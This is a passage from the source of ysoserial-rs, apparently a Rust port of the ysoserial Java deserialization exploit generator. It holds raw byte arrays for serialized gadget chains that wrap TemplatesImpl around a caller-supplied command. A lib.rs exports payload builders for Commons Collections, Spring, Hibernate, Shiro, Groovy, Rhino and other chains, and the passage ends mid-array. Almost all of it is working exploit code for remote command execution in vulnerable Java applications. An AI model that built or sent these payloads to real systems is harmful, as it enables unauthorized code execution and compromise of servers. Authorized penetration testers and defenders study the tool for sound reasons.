46, 120, 109, 108, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 24 | 46, 84, 101, 109, 112, 108, 97, 116, 101, 115, 120, 114, 0, 23, 106, 97, 118, 97, 46, 108, 25 | 97, 110, 103, 46, 114, 101, 102, 108, 101, 99, 116, 46, 80, 114, 111, 120, 121, 225, 39, 26 | 218, 32, 204, 16, 67, 203, 2, 0, 1, 76, 0, 1, 104, 116, 0, 37, 76, 106, 97, 118, 97, 47, 27 | 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 73, 110, 118, 111, 99, 97, 28 | 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 120, 112, 115, 114, 0, 65, 99, 29 | 111, 109, 46, 115, 117, 110, 46, 99, 111, 114, 98, 97, 46, 115, 101, 46, 115, 112, 105, 46, 30 | 111, 114, 98, 117, 116, 105, 108, 46, 112, 114, 111, 120, 121, 46, 67, 111, 109, 112, 111, 31 | 115, 105, 116, 101, 73, 110, 118, 111, 99, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 32 | 101, 114, 73, 109, 112, 108, 63, 112, 22, 115, 61, 50, 168, 207, 2, 0, 2, 76, 0, 24, 99, 33 | 108, 97, 115, 115, 84, 111, 73, 110, 118, 111, 99, 97, 116, 105, 111, 110, 72, 97, 110, 34 | 100, 108, 101, 114, 113, 0, 126, 0, 3, 76, 0, 14, 100, 101, 102, 97, 117, 108, 116, 72, 97, 35 | 110, 100, 108, 101, 114, 113, 0, 126, 0, 12, 120, 112, 115, 114, 0, 23, 106, 97, 118, 97, 36 | 46, 117, 116, 105, 108, 46, 76, 105, 110, 107, 101, 100, 72, 97, 115, 104, 77, 97, 112, 52, 37 | 192, 78, 92, 16, 108, 192, 251, 2, 0, 1, 90, 0, 11, 97, 99, 99, 101, 115, 115, 79, 114, 38 | 100, 101, 114, 120, 113, 0, 126, 0, 0, 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 39 | 0, 0, 1, 118, 114, 0, 40, 106, 97, 118, 97, 120, 46, 109, 97, 110, 97, 103, 101, 109, 101, 40 | 110, 116, 46, 111, 112, 101, 110, 109, 98, 101, 97, 110, 46, 67, 111, 109, 112, 111, 115, 41 | 105, 116, 101, 68, 97, 116, 97, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 120, 112, 115, 114, 0, 50, 42 | 115, 117, 110, 46, 114, 101, 102, 108, 101, 99, 116, 46, 97, 110, 110, 111, 116, 97, 116, 43 | 105, 111, 110, 46, 65, 110, 110, 111, 116, 97, 116, 105, 111, 110, 73, 110, 118, 111, 99, 44 | 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 85, 202, 245, 15, 21, 203, 126, 45 | 165, 2, 0, 2, 76, 0, 12, 109, 101, 109, 98, 101, 114, 86, 97, 108, 117, 101, 115, 113, 0, 46 | 126, 0, 3, 76, 0, 4, 116, 121, 112, 101, 116, 0, 17, 76, 106, 97, 118, 97, 47, 108, 97, 47 | 110, 103, 47, 67, 108, 97, 115, 115, 59, 120, 112, 115, 113, 0, 126, 0, 0, 63, 64, 0, 0, 0, 48 | 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 116, 0, 16, 103, 101, 116, 67, 111, 109, 112, 49 | 111, 115, 105, 116, 101, 84, 121, 112, 101, 115, 114, 0, 40, 106, 97, 118, 97, 120, 46, 50 | 109, 97, 110, 97, 103, 101, 109, 101, 110, 116, 46, 111, 112, 101, 110, 109, 98, 101, 97, 51 | 110, 46, 67, 111, 109, 112, 111, 115, 105, 116, 101, 84, 121, 112, 101, 181, 135, 70, 235, 52 | 90, 7, 159, 66, 2, 0, 2, 76, 0, 17, 110, 97, 109, 101, 84, 111, 68, 101, 115, 99, 114, 105, 53 | 112, 116, 105, 111, 110, 116, 0, 19, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 84, 54 | 114, 101, 101, 77, 97, 112, 59, 76, 0, 10, 110, 97, 109, 101, 84, 111, 84, 121, 112, 101, 55 | 113, 0, 126, 0, 26, 120, 114, 0, 35, 106, 97, 118, 97, 120, 46, 109, 97, 110, 97, 103, 101, 56 | 109, 101, 110, 116, 46, 111, 112, 101, 110, 109, 98, 101, 97, 110, 46, 79, 112, 101, 110, 57 | 84, 121, 112, 101, 128, 100, 26, 145, 233, 234, 222, 60, 2, 0, 3, 76, 0, 9, 99, 108, 97, 58 | 115, 115, 78, 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 59 | 83, 116, 114, 105, 110, 103, 59, 76, 0, 11, 100, 101, 115, 99, 114, 105, 112, 116, 105, 60 | 111, 110, 113, 0, 126, 0, 28, 76, 0, 8, 116, 121, 112, 101, 78, 97, 109, 101, 113, 0, 126, 61 | 0, 28, 120, 112, 116, 0, 40, 106, 97, 118, 97, 120, 46, 109, 97, 110, 97, 103, 101, 109, 62 | 101, 110, 116, 46, 111, 112, 101, 110, 109, 98, 101, 97, 110, 46, 67, 111, 109, 112, 111, 63 | 115, 105, 116, 101, 68, 97, 116, 97, 116, 0, 1, 98, 116, 0, 1, 97, 115, 114, 0, 17, 106, 64 | 97, 118, 97, 46, 117, 116, 105, 108, 46, 84, 114, 101, 101, 77, 97, 112, 12, 193, 246, 62, 65 | 45, 37, 106, 230, 3, 0, 1, 76, 0, 10, 99, 111, 109, 112, 97, 114, 97, 116, 111, 114, 116, 66 | 0, 22, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 67, 111, 109, 112, 97, 114, 97, 67 | 116, 111, 114, 59, 120, 112, 112, 119, 4, 0, 0, 0, 1, 113, 0, 126, 0, 32, 113, 0, 126, 0, 68 | 32, 120, 115, 113, 0, 126, 0, 33, 112, 119, 4, 0, 0, 0, 1, 113, 0, 126, 0, 32, 115, 114, 0, 69 | 37, 106, 97, 118, 97, 120, 46, 109, 97, 110, 97, 103, 101, 109, 101, 110, 116, 46, 111, 70 | 112, 101, 110, 109, 98, 101, 97, 110, 46, 83, 105, 109, 112, 108, 101, 84, 121, 112, 101, 71 | 30, 191, 79, 248, 220, 101, 120, 39, 2, 0, 0, 120, 113, 0, 126, 0, 27, 116, 0, 17, 106, 97, 72 | 118, 97, 46, 108, 97, 110, 103, 46, 73, 110, 116, 101, 103, 101, 114, 113, 0, 126, 0, 39, 73 | 113, 0, 126, 0, 39, 120, 120, 118, 114, 0, 18, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 74 | 79, 118, 101, 114, 114, 105, 100, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 120, 112, 120, 0, 75 | 115, 114, 0, 52, 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 76 | 119, 111, 114, 107, 46, 97, 111, 112, 46, 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 77 | 74, 100, 107, 68, 121, 110, 97, 109, 105, 99, 65, 111, 112, 80, 114, 111, 120, 121, 76, 78 | 196, 180, 113, 14, 235, 150, 252, 2, 0, 3, 90, 0, 13, 101, 113, 117, 97, 108, 115, 68, 101, 79 | 102, 105, 110, 101, 100, 90, 0, 15, 104, 97, 115, 104, 67, 111, 100, 101, 68, 101, 102, 80 | 105, 110, 101, 100, 76, 0, 7, 97, 100, 118, 105, 115, 101, 100, 116, 0, 50, 76, 111, 114, 81 | 103, 47, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 47, 97, 82 | 111, 112, 47, 102, 114, 97, 109, 101, 119, 111, 114, 107, 47, 65, 100, 118, 105, 115, 101, 83 | 100, 83, 117, 112, 112, 111, 114, 116, 59, 120, 112, 0, 0, 115, 114, 0, 48, 111, 114, 103, 84 | 46, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 97, 111, 85 | 112, 46, 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 65, 100, 118, 105, 115, 101, 100, 86 | 83, 117, 112, 112, 111, 114, 116, 36, 203, 138, 60, 250, 164, 197, 117, 2, 0, 6, 90, 0, 11, 87 | 112, 114, 101, 70, 105, 108, 116, 101, 114, 101, 100, 91, 0, 12, 97, 100, 118, 105, 115, 88 | 111, 114, 65, 114, 114, 97, 121, 116, 0, 34, 91, 76, 111, 114, 103, 47, 115, 112, 114, 105, 89 | 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 47, 97, 111, 112, 47, 65, 100, 118, 90 | 105, 115, 111, 114, 59, 76, 0, 19, 97, 100, 118, 105, 115, 111, 114, 67, 104, 97, 105, 110, 91 | 70, 97, 99, 116, 111, 114, 121, 116, 0, 55, 76, 111, 114, 103, 47, 115, 112, 114, 105, 110, 92 | 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 47, 97, 111, 112, 47, 102, 114, 97, 109, 93 | 101, 119, 111, 114, 107, 47, 65, 100, 118, 105, 115, 111, 114, 67, 104, 97, 105, 110, 70, 94 | 97, 99, 116, 111, 114, 121, 59, 76, 0, 8, 97, 100, 118, 105, 115, 111, 114, 115, 116, 0, 95 | 16, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 59, 76, 0, 10, 96 | 105, 110, 116, 101, 114, 102, 97, 99, 101, 115, 113, 0, 126, 0, 48, 76, 0, 12, 116, 97, 97 | 114, 103, 101, 116, 83, 111, 117, 114, 99, 101, 116, 0, 38, 76, 111, 114, 103, 47, 115, 98 | 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 47, 97, 111, 112, 47, 99 | 84, 97, 114, 103, 101, 116, 83, 111, 117, 114, 99, 101, 59, 120, 114, 0, 45, 111, 114, 103, 100 | 46, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 97, 111, 101 | 112, 46, 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 80, 114, 111, 120, 121, 67, 111, 102 | 110, 102, 105, 103, 139, 75, 243, 230, 167, 224, 247, 111, 2, 0, 5, 90, 0, 11, 101, 120, 103 | 112, 111, 115, 101, 80, 114, 111, 120, 121, 90, 0, 6, 102, 114, 111, 122, 101, 110, 90, 0, 104 | 6, 111, 112, 97, 113, 117, 101, 90, 0, 8, 111, 112, 116, 105, 109, 105, 122, 101, 90, 0, 105 | 16, 112, 114, 111, 120, 121, 84, 97, 114, 103, 101, 116, 67, 108, 97, 115, 115, 120, 112, 106 | 0, 0, 0, 0, 0, 0, 117, 114, 0, 34, 91, 76, 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 107 | 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 97, 111, 112, 46, 65, 100, 118, 105, 115, 108 | 111, 114, 59, 223, 131, 13, 173, 210, 30, 132, 116, 2, 0, 0, 120, 112, 0, 0, 0, 0, 115, 109 | 114, 0, 60, 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 110 | 111, 114, 107, 46, 97, 111, 112, 46, 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 68, 111 | 101, 102, 97, 117, 108, 116, 65, 100, 118, 105, 115, 111, 114, 67, 104, 97, 105, 110, 70, 112 | 97, 99, 116, 111, 114, 121, 84, 221, 100, 55, 226, 78, 113, 247, 2, 0, 0, 120, 112, 115, 113 | 114, 0, 20, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 76, 105, 110, 107, 101, 100, 76, 114 | 105, 115, 116, 12, 41, 83, 93, 74, 96, 136, 34, 3, 0, 0, 120, 112, 119, 4, 0, 0, 0, 0, 120, 115 | 115, 114, 0, 19, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 65, 114, 114, 97, 121, 76, 116 | 105, 115, 116, 120, 129, 210, 29, 153, 199, 97, 157, 3, 0, 1, 73, 0, 4, 115, 105, 122, 101, 117 | 120, 112, 0, 0, 0, 0, 119, 4, 0, 0, 0, 0, 120, 115, 114, 0, 52, 111, 114, 103, 46, 115, 118 | 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 97, 111, 112, 46, 119 | 116, 97, 114, 103, 101, 116, 46, 83, 105, 110, 103, 108, 101, 116, 111, 110, 84, 97, 114, 120 | 103, 101, 116, 83, 111, 117, 114, 99, 101, 125, 85, 110, 245, 199, 248, 250, 186, 2, 0, 1, 121 | 76, 0, 6, 116, 97, 114, 103, 101, 116, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 122 | 103, 47, 79, 98, 106, 101, 99, 116, 59, 120, 112, 115, 114, 0, 58, 99, 111, 109, 46, 115, 123 | 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 110, 46, 124 | 105, 110, 116, 101, 114, 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 97, 120, 125 | 46, 84, 101, 109, 112, 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, 193, 110, 172, 126 | 171, 51, 3, 0, 6, 73, 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 98, 101, 114, 127 | 73, 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 91, 0, 10, 128 | 95, 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 99, 129 | 108, 97, 115, 115, 116, 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 130 | 108, 97, 115, 115, 59, 76, 0, 5, 95, 110, 97, 109, 101, 113, 0, 126, 0, 28, 76, 0, 17, 95, 131 | 111, 117, 116, 112, 117, 116, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 132 | 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 133 | 101, 115, 59, 120, 112, 0, 0, 0, 0, 255, 255, 255, 255, 117, 114, 0, 3, 91, 91, 66, 75, 134 | 253, 25, 21, 103, 103, 219, 55, 2, 0, 0, 120, 112, 0, 0, 0, 1, 117, 114, 0, 2, 91, 66, 172, 135 | 243, 23, 248, 6, 8, 84, 224, 2, 0, 0, 120, 112, 136 | ] 137 | .to_vec(); 138 | let template_impl = get_f_template_impl(cmd); 139 | let template_impl_len = template_impl.len() as u32; 140 | result_bytes.extend(template_impl_len.to_be_bytes()); 141 | result_bytes.extend(&template_impl); 142 | result_bytes.extend([ 143 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 120, 115, 114, 0, 38, 106, 97, 118, 144 | 97, 120, 46, 109, 97, 110, 97, 103, 101, 109, 101, 110, 116, 46, 111, 112, 101, 110, 109, 145 | 98, 101, 97, 110, 46, 84, 97, 98, 117, 108, 97, 114, 84, 121, 112, 101, 90, 244, 189, 161, 146 | 196, 214, 6, 61, 2, 0, 2, 76, 0, 10, 105, 110, 100, 101, 120, 78, 97, 109, 101, 115, 113, 147 | 0, 126, 0, 48, 76, 0, 7, 114, 111, 119, 84, 121, 112, 101, 116, 0, 42, 76, 106, 97, 118, 148 | 97, 120, 47, 109, 97, 110, 97, 103, 101, 109, 101, 110, 116, 47, 111, 112, 101, 110, 109, 149 | 98, 101, 97, 110, 47, 67, 111, 109, 112, 111, 115, 105, 116, 101, 84, 121, 112, 101, 59, 150 | 120, 113, 0, 126, 0, 27, 116, 0, 38, 106, 97, 118, 97, 120, 46, 109, 97, 110, 97, 103, 101, 151 | 109, 101, 110, 116, 46, 111, 112, 101, 110, 109, 98, 101, 97, 110, 46, 84, 97, 98, 117, 152 | 108, 97, 114, 68, 97, 116, 97, 113, 0, 126, 0, 31, 113, 0, 126, 0, 32, 115, 114, 0, 38, 153 | 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 154 | 110, 115, 36, 85, 110, 109, 111, 100, 105, 102, 105, 97, 98, 108, 101, 76, 105, 115, 116, 155 | 252, 15, 37, 49, 181, 236, 142, 16, 2, 0, 1, 76, 0, 4, 108, 105, 115, 116, 113, 0, 126, 0, 156 | 48, 120, 114, 0, 44, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 67, 111, 108, 108, 101, 157 | 99, 116, 105, 111, 110, 115, 36, 85, 110, 109, 111, 100, 105, 102, 105, 97, 98, 108, 101, 158 | 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 25, 66, 0, 128, 203, 94, 247, 30, 2, 0, 1, 159 | 76, 0, 1, 99, 116, 0, 22, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 67, 111, 108, 160 | 108, 101, 99, 116, 105, 111, 110, 59, 120, 112, 115, 113, 0, 126, 0, 58, 0, 0, 0, 1, 119, 161 | 4, 0, 0, 0, 1, 113, 0, 126, 0, 32, 120, 113, 0, 126, 0, 81, 113, 0, 126, 0, 29, 113, 0, 162 | 126, 0, 5, 115, 113, 0, 126, 0, 2, 113, 0, 126, 0, 7, 113, 0, 126, 0, 75, 113, 0, 126, 0, 163 | 82, 120, 164 | ]); 165 | result_bytes 166 | } 167 | -------------------------------------------------------------------------------- /ysoserial-rs/src/lib.rs: -------------------------------------------------------------------------------- 1 | pub use cb1::get_commons_beanutils1; 2 | pub use cc_n::{ 3 | get_commons_collections1, get_commons_collections2, get_commons_collections3, 4 | get_commons_collections4, get_commons_collections5, get_commons_collections6, 5 | get_commons_collections7, 6 | }; 7 | pub use cck_n::{ 8 | get_commons_collections_k1, get_commons_collections_k2, get_commons_collections_k3, 9 | get_commons_collections_k4, 10 | }; 11 | pub use clojure::get_clojure; 12 | pub use groovy1::get_groovy1; 13 | pub use hibernate::{get_hibernate1, get_hibernate2}; 14 | pub use javassist_weld1::get_javassist_weld1; 15 | pub use jboss_interceptors1::get_jboss_interceptors1; 16 | pub use jdk7u21::get_jdk7u21; 17 | pub use jdk8u20::get_jdk8u20; 18 | pub use json1::get_json1; 19 | pub use mozilla_rhino::{get_mozilla_rhino1, get_mozilla_rhino2}; 20 | pub use myfaces::get_myfaces1; 21 | pub use rome::get_rome; 22 | pub use shiro::get_shiro_simple_principal_collection; 23 | pub use spring::{get_spring1, get_spring2}; 24 | pub use tomcat_echo::{get_cck1_tomcat_echo, get_cck2_tomcat_echo}; 25 | pub use url_dns::{get_c3p0, get_url_dns}; 26 | pub use vaadin::get_vaadin1; 27 | 28 | mod base; 29 | mod cb1; 30 | mod cc_n; 31 | mod cck_n; 32 | mod clojure; 33 | mod groovy1; 34 | mod hibernate; 35 | mod javassist_weld1; 36 | mod jboss_interceptors1; 37 | mod jdk7u21; 38 | mod jdk8u20; 39 | mod json1; 40 | mod mozilla_rhino; 41 | mod myfaces; 42 | mod rome; 43 | mod shiro; 44 | mod spring; 45 | mod template_impl; 46 | mod tomcat_echo; 47 | mod url_dns; 48 | mod util; 49 | mod vaadin; 50 | -------------------------------------------------------------------------------- /ysoserial-rs/src/mozilla_rhino.rs: -------------------------------------------------------------------------------- 1 | use crate::template_impl::get_f_template_impl; 2 | 3 | pub fn get_mozilla_rhino1(cmd: &str) -> Vec { 4 | let mut result_bytes = [ 5 | 0, 7, 115, 114, 0, 33, 111, 114, 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 106, 97, 6 | 118, 97, 115, 99, 114, 105, 112, 116, 46, 78, 97, 116, 105, 118, 101, 67, 97, 108, 108, 7 | 152, 80, 13, 43, 129, 63, 210, 202, 2, 0, 2, 76, 0, 8, 102, 117, 110, 99, 116, 105, 111, 8 | 110, 113, 0, 126, 0, 48, 91, 0, 12, 111, 114, 105, 103, 105, 110, 97, 108, 65, 114, 103, 9 | 115, 113, 0, 126, 0, 182, 120, 113, 0, 126, 0, 27, 0, 0, 0, 0, 112, 113, 0, 126, 0, 35, 10 | 113, 0, 126, 0, 42, 119, 4, 0, 0, 0, 0, 120, 119, 4, 0, 0, 0, 1, 120, 112, 112, 0, 0, 0, 1, 11 | 0, 0, 0, 1, 1, 113, 0, 126, 1, 82, 113, 0, 126, 1, 85, 113, 0, 126, 1, 82, 115, 113, 0, 12 | 126, 0, 50, 0, 2, 147, 74, 188, 235, 116, 0, 6, 83, 99, 114, 105, 112, 116, 115, 113, 0, 13 | 126, 0, 53, 0, 0, 0, 0, 112, 113, 0, 126, 0, 35, 115, 114, 0, 35, 111, 114, 103, 46, 109, 14 | 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 46, 78, 97, 15 | 116, 105, 118, 101, 83, 99, 114, 105, 112, 116, 161, 178, 243, 126, 195, 84, 173, 156, 2, 16 | 0, 1, 76, 0, 6, 115, 99, 114, 105, 112, 116, 116, 0, 31, 76, 111, 114, 103, 47, 109, 111, 17 | 122, 105, 108, 108, 97, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 47, 83, 99, 114, 18 | 105, 112, 116, 59, 120, 113, 0, 126, 0, 55, 0, 0, 0, 0, 112, 113, 0, 126, 0, 35, 113, 0, 19 | 126, 0, 42, 119, 4, 0, 0, 0, 0, 120, 119, 4, 0, 0, 0, 4, 120, 0, 0, 0, 4, 112, 112, 119, 4, 20 | 0, 0, 0, 0, 120, 119, 4, 0, 0, 0, 0, 120, 0, 0, 0, 7, 113, 0, 126, 1, 91, 0, 0, 0, 1, 0, 0, 21 | 0, 1, 1, 113, 0, 126, 1, 87, 113, 0, 126, 1, 91, 113, 0, 126, 1, 87, 115, 113, 0, 126, 0, 22 | 50, 0, 2, 74, 86, 108, 142, 113, 0, 126, 0, 39, 115, 113, 0, 126, 0, 53, 0, 0, 0, 0, 112, 23 | 113, 0, 126, 0, 35, 112, 119, 4, 0, 0, 0, 0, 120, 119, 4, 0, 0, 0, 0, 120, 0, 0, 0, 7, 115, 24 | 114, 0, 37, 111, 114, 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 25 | 99, 114, 105, 112, 116, 46, 78, 97, 116, 105, 118, 101, 73, 116, 101, 114, 97, 116, 111, 26 | 114, 198, 150, 137, 86, 98, 109, 198, 159, 2, 0, 1, 76, 0, 14, 111, 98, 106, 101, 99, 116, 27 | 73, 116, 101, 114, 97, 116, 111, 114, 113, 0, 126, 0, 1, 120, 113, 0, 126, 0, 27, 0, 0, 0, 28 | 0, 112, 113, 0, 126, 0, 35, 113, 0, 126, 0, 42, 119, 4, 0, 0, 0, 0, 120, 119, 4, 0, 0, 0, 29 | 3, 120, 112, 0, 0, 0, 2, 0, 0, 0, 1, 1, 113, 0, 126, 0, 39, 113, 0, 126, 1, 95, 113, 0, 30 | 126, 0, 39, 115, 113, 0, 126, 0, 50, 0, 2, 64, 188, 24, 219, 116, 0, 13, 83, 116, 111, 112, 31 | 73, 116, 101, 114, 97, 116, 105, 111, 110, 113, 0, 126, 0, 41, 115, 114, 0, 50, 111, 114, 32 | 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 99, 114, 105, 112, 33 | 116, 46, 83, 99, 114, 105, 112, 116, 97, 98, 108, 101, 79, 98, 106, 101, 99, 116, 36, 71, 34 | 101, 116, 116, 101, 114, 83, 108, 111, 116, 187, 253, 169, 35, 115, 32, 29, 108, 2, 0, 2, 35 | 76, 0, 6, 103, 101, 116, 116, 101, 114, 113, 0, 126, 0, 1, 76, 0, 6, 115, 101, 116, 116, 36 | 101, 114, 113, 0, 126, 0, 1, 120, 113, 0, 126, 0, 50, 0, 2, 145, 172, 141, 9, 116, 0, 6, 37 | 82, 101, 103, 69, 120, 112, 115, 114, 0, 39, 111, 114, 103, 46, 109, 111, 122, 105, 108, 38 | 108, 97, 46, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 46, 76, 97, 122, 105, 108, 121, 39 | 76, 111, 97, 100, 101, 100, 67, 116, 111, 114, 0, 0, 0, 0, 0, 0, 0, 1, 2, 0, 6, 90, 0, 6, 40 | 115, 101, 97, 108, 101, 100, 73, 0, 5, 115, 116, 97, 116, 101, 76, 0, 9, 99, 108, 97, 115, 41 | 115, 78, 97, 109, 101, 113, 0, 126, 0, 5, 76, 0, 16, 105, 110, 105, 116, 105, 97, 108, 105, 42 | 122, 101, 100, 86, 97, 108, 117, 101, 113, 0, 126, 0, 1, 76, 0, 12, 112, 114, 111, 112, 43 | 101, 114, 116, 121, 78, 97, 109, 101, 113, 0, 126, 0, 5, 76, 0, 5, 115, 99, 111, 112, 101, 44 | 116, 0, 41, 76, 111, 114, 103, 47, 109, 111, 122, 105, 108, 108, 97, 47, 106, 97, 118, 97, 45 | 115, 99, 114, 105, 112, 116, 47, 83, 99, 114, 105, 112, 116, 97, 98, 108, 101, 79, 98, 106, 46 | 101, 99, 116, 59, 120, 112, 0, 0, 0, 0, 0, 116, 0, 42, 111, 114, 103, 46, 109, 111, 122, 47 | 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 46, 114, 101, 103, 48 | 101, 120, 112, 46, 78, 97, 116, 105, 118, 101, 82, 101, 103, 69, 120, 112, 112, 113, 0, 49 | 126, 1, 100, 113, 0, 126, 0, 35, 112, 112, 115, 113, 0, 126, 1, 98, 0, 2, 48, 155, 185, 13, 50 | 116, 0, 8, 80, 97, 99, 107, 97, 103, 101, 115, 115, 113, 0, 126, 1, 101, 0, 0, 0, 0, 0, 51 | 116, 0, 43, 111, 114, 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 52 | 99, 114, 105, 112, 116, 46, 78, 97, 116, 105, 118, 101, 74, 97, 118, 97, 84, 111, 112, 80, 53 | 97, 99, 107, 97, 103, 101, 112, 113, 0, 126, 1, 106, 113, 0, 126, 0, 35, 112, 112, 115, 54 | 113, 0, 126, 1, 98, 0, 2, 0, 49, 170, 34, 116, 0, 4, 106, 97, 118, 97, 115, 113, 0, 126, 1, 55 | 101, 0, 0, 0, 0, 0, 113, 0, 126, 1, 108, 112, 113, 0, 126, 1, 110, 113, 0, 126, 0, 35, 112, 56 | 112, 115, 113, 0, 126, 1, 98, 0, 2, 6, 3, 154, 150, 116, 0, 5, 106, 97, 118, 97, 120, 115, 57 | 113, 0, 126, 1, 101, 0, 0, 0, 0, 0, 113, 0, 126, 1, 108, 112, 113, 0, 126, 1, 113, 113, 0, 58 | 126, 0, 35, 112, 112, 115, 113, 0, 126, 1, 98, 0, 2, 0, 1, 174, 228, 116, 0, 3, 111, 114, 59 | 103, 115, 113, 0, 126, 1, 101, 0, 0, 0, 0, 0, 113, 0, 126, 1, 108, 112, 113, 0, 126, 1, 60 | 116, 113, 0, 126, 0, 35, 112, 112, 115, 113, 0, 126, 1, 98, 0, 2, 0, 1, 129, 129, 116, 0, 61 | 3, 99, 111, 109, 115, 113, 0, 126, 1, 101, 0, 0, 0, 0, 0, 113, 0, 126, 1, 108, 112, 113, 0, 62 | 126, 1, 119, 113, 0, 126, 0, 35, 112, 112, 115, 113, 0, 126, 1, 98, 0, 2, 0, 1, 135, 182, 63 | 116, 0, 3, 101, 100, 117, 115, 113, 0, 126, 1, 101, 0, 0, 0, 0, 0, 113, 0, 126, 1, 108, 64 | 112, 113, 0, 126, 1, 122, 113, 0, 126, 0, 35, 112, 112, 115, 113, 0, 126, 1, 98, 0, 2, 0, 65 | 1, 169, 157, 116, 0, 3, 110, 101, 116, 115, 113, 0, 126, 1, 101, 0, 0, 0, 0, 0, 113, 0, 66 | 126, 1, 108, 112, 113, 0, 126, 1, 125, 113, 0, 126, 0, 35, 112, 112, 115, 113, 0, 126, 1, 67 | 98, 0, 2, 116, 67, 79, 194, 116, 0, 8, 103, 101, 116, 67, 108, 97, 115, 115, 115, 113, 0, 68 | 126, 1, 101, 0, 0, 0, 0, 0, 113, 0, 126, 1, 108, 112, 113, 0, 126, 1, 128, 113, 0, 126, 0, 69 | 35, 112, 112, 115, 113, 0, 126, 1, 98, 0, 2, 108, 113, 238, 173, 116, 0, 11, 74, 97, 118, 70 | 97, 65, 100, 97, 112, 116, 101, 114, 115, 113, 0, 126, 1, 101, 0, 0, 0, 0, 0, 116, 0, 34, 71 | 111, 114, 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 99, 114, 72 | 105, 112, 116, 46, 74, 97, 118, 97, 65, 100, 97, 112, 116, 101, 114, 112, 113, 0, 126, 1, 73 | 131, 113, 0, 126, 0, 35, 112, 112, 115, 113, 0, 126, 1, 98, 0, 2, 86, 119, 75, 116, 116, 0, 74 | 12, 74, 97, 118, 97, 73, 109, 112, 111, 114, 116, 101, 114, 115, 113, 0, 126, 1, 101, 0, 0, 75 | 0, 0, 0, 116, 0, 39, 111, 114, 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 76 | 97, 115, 99, 114, 105, 112, 116, 46, 73, 109, 112, 111, 114, 116, 101, 114, 84, 111, 112, 77 | 76, 101, 118, 101, 108, 112, 113, 0, 126, 1, 135, 113, 0, 126, 0, 35, 112, 112, 115, 113, 78 | 0, 126, 1, 98, 0, 2, 220, 181, 202, 87, 116, 0, 12, 67, 111, 110, 116, 105, 110, 117, 97, 79 | 116, 105, 111, 110, 115, 113, 0, 126, 1, 101, 0, 0, 0, 0, 0, 116, 0, 41, 111, 114, 103, 46, 80 | 109, 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 46, 81 | 78, 97, 116, 105, 118, 101, 67, 111, 110, 116, 105, 110, 117, 97, 116, 105, 111, 110, 112, 82 | 113, 0, 126, 1, 139, 113, 0, 126, 0, 35, 112, 112, 115, 113, 0, 126, 